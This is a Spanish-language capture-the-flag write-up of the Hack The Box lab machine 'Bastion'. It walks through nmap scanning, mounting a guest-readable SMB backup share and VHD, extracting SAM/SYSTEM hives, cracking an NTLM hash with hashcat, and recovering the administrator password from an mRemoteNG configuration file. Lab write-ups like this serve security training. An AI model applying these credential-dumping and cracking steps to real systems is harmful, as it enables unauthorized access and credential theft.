Bastion

Bastion
Sistema operativo Dificultad Fecha de Lanzamiento Creador
Windows Easy 27 Abril 2019 L4mpje

Reconocimiento

Lanzamos una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

bastion

Enumeración inicial

Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.

nmap -sS -p- --open -Pn -n --min-rate 5000 -oG openPorts -vvv 10.10.10.134                                        
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-19 21:22 -03
Initiating SYN Stealth Scan at 21:22
Scanning 10.10.10.134 [65535 ports]
Discovered open port 135/tcp on 10.10.10.134
Discovered open port 22/tcp on 10.10.10.134
Discovered open port 445/tcp on 10.10.10.134
Discovered open port 139/tcp on 10.10.10.134
Discovered open port 49669/tcp on 10.10.10.134
Discovered open port 49667/tcp on 10.10.10.134
Discovered open port 5985/tcp on 10.10.10.134
Discovered open port 49664/tcp on 10.10.10.134
Discovered open port 49665/tcp on 10.10.10.134
Discovered open port 49666/tcp on 10.10.10.134
Discovered open port 49668/tcp on 10.10.10.134
Discovered open port 49670/tcp on 10.10.10.134
Discovered open port 47001/tcp on 10.10.10.134
Completed SYN Stealth Scan at 21:22, 17.54s elapsed (65535 total ports)
Nmap scan report for 10.10.10.134
Host is up, received user-set (0.17s latency).
Scanned at 2025-03-19 21:22:01 -03 for 18s
Not shown: 60960 closed tcp ports (reset), 4562 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE      REASON
22/tcp    open  ssh          syn-ack ttl 127
135/tcp   open  msrpc        syn-ack ttl 127
139/tcp   open  netbios-ssn  syn-ack ttl 127
445/tcp   open  microsoft-ds syn-ack ttl 127
5985/tcp  open  wsman        syn-ack ttl 127
47001/tcp open  winrm        syn-ack ttl 127
49664/tcp open  unknown      syn-ack ttl 127
49665/tcp open  unknown      syn-ack ttl 127
49666/tcp open  unknown      syn-ack ttl 127
49667/tcp open  unknown      syn-ack ttl 127
49668/tcp open  unknown      syn-ack ttl 127
49669/tcp open  unknown      syn-ack ttl 127
49670/tcp open  unknown      syn-ack ttl 127

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 17.62 seconds
           Raw packets sent: 84850 (3.733MB) | Rcvd: 62788 (2.512MB)

Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos.

nmap -sCV -p22,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669,49670 -oN servicesScan 10.10.10.134
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-19 21:22 -03
Nmap scan report for 10.10.10.134 (10.10.10.134)
Host is up (0.15s latency).

PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH for_Windows_7.9 (protocol 2.0)
| ssh-hostkey: 
|   2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA)
|   256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA)
|_  256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
49670/tcp open  msrpc        Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Bastion
|   NetBIOS computer name: BASTION\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2025-03-20T01:25:17+01:00
|_clock-skew: mean: -18m15s, deviation: 34m37s, median: 1m43s
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time: 
|   date: 2025-03-20T00:25:18
|_  start_date: 2025-03-19T22:01:45
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 69.39 seconds

Explotación inicial

SMB (445)

bastion

bastion

bastion

Encontramos dos archivos .vhd.

bastion

Un archivo VHD es un formato de archivo que permite encapsular un disco duro en un archivo individual. Se le conoce como Disco Duro Virtual (VHD). 

Características

  • Tiene funcionalidades similares a una unidad de disco duro física. 
  • Puede contener particiones de disco, un sistema de archivos, archivos y carpetas. 
  • Se puede almacenar en cualquier ubicación accesible para el host físico. 
  • Se puede transportar en un dispositivo de memoria flash USB.

Motando el archivo VHD.

  1. Instalar los siguientes paquetes apt-get install libguestfs-tools cifs-utils -y
  2. Creamos un punto de montaje en nuestra máquina atacante

bastion

  1. Montamos el recurso compartido remoto.
sudo mount -t cifs //10.10.10.134/Backups /mnt/remote -o username=guest,password=

bastion

Creamos otro punto de montaje para el archivo VHD.

bastion

guestmount --add /mnt/remote/WindowsImageBackup/L4mpje-PC/Backup\ 2019-02-22\ 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro /mnt/vhd -v

Crackeamos los hashes de los usuarios, para lo cual extraemos los hives (colmenas) SAM y SYSTEM.

bastion

bastion

Rompemos el hash con hashcat:

hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.tx

bastion

L4mpje:bureaulampje

Nos conectamos por SSH.

ssh L4mpje@10.10.10.134

bastion

bastion

Elevación de privilegios

Si realizamos un enumeración del sistema, encontramos instalado el software mRemoteNG, es un programa para realizar tareas de administración remotas en ordenadores y servidores.

La versión instalada es la 1.76.1 segun marca en el archivo Changelog.txt.

bastion

Esta versión es utiliza métodos de almacenamiento inseguros, lo que lo hace vulnerable a la divulgación de credenciales.

Referencias: https://hackersvanguard.com/mremoteng-insecure-password-storage/

Para aprovecha esta vulnerabilidad y recuperar las credenciales de administrador, podemos utilizar el propio software https://mremoteng.org/download

Descargamos el archivo de configuración a nuestra máquina atacante.

scp l4mpje@10.10.10.134:/users/l4mpje/AppData/Roaming/mRemoteNG/confCons.xml confCons.xml

Utilizando una máquina windows alternativa, importamos esta configuración en el software mRemoteNG.

bastion

Ahora nos movemos a Tools/External Tools

A continuación, en Propiedades de herramientas externas, complete un Nombre para mostrar, un Nombre de archivo y algunos argumentos, con búsqueda de contraseña.

bastion

bastion

bastion

Debería aparecer un mensaje encima donde se repetirá la contraseña.

bastion

Administrator:thXLHM96BeKL0ER2

bastion

Leemos el flag de root.txt

bastion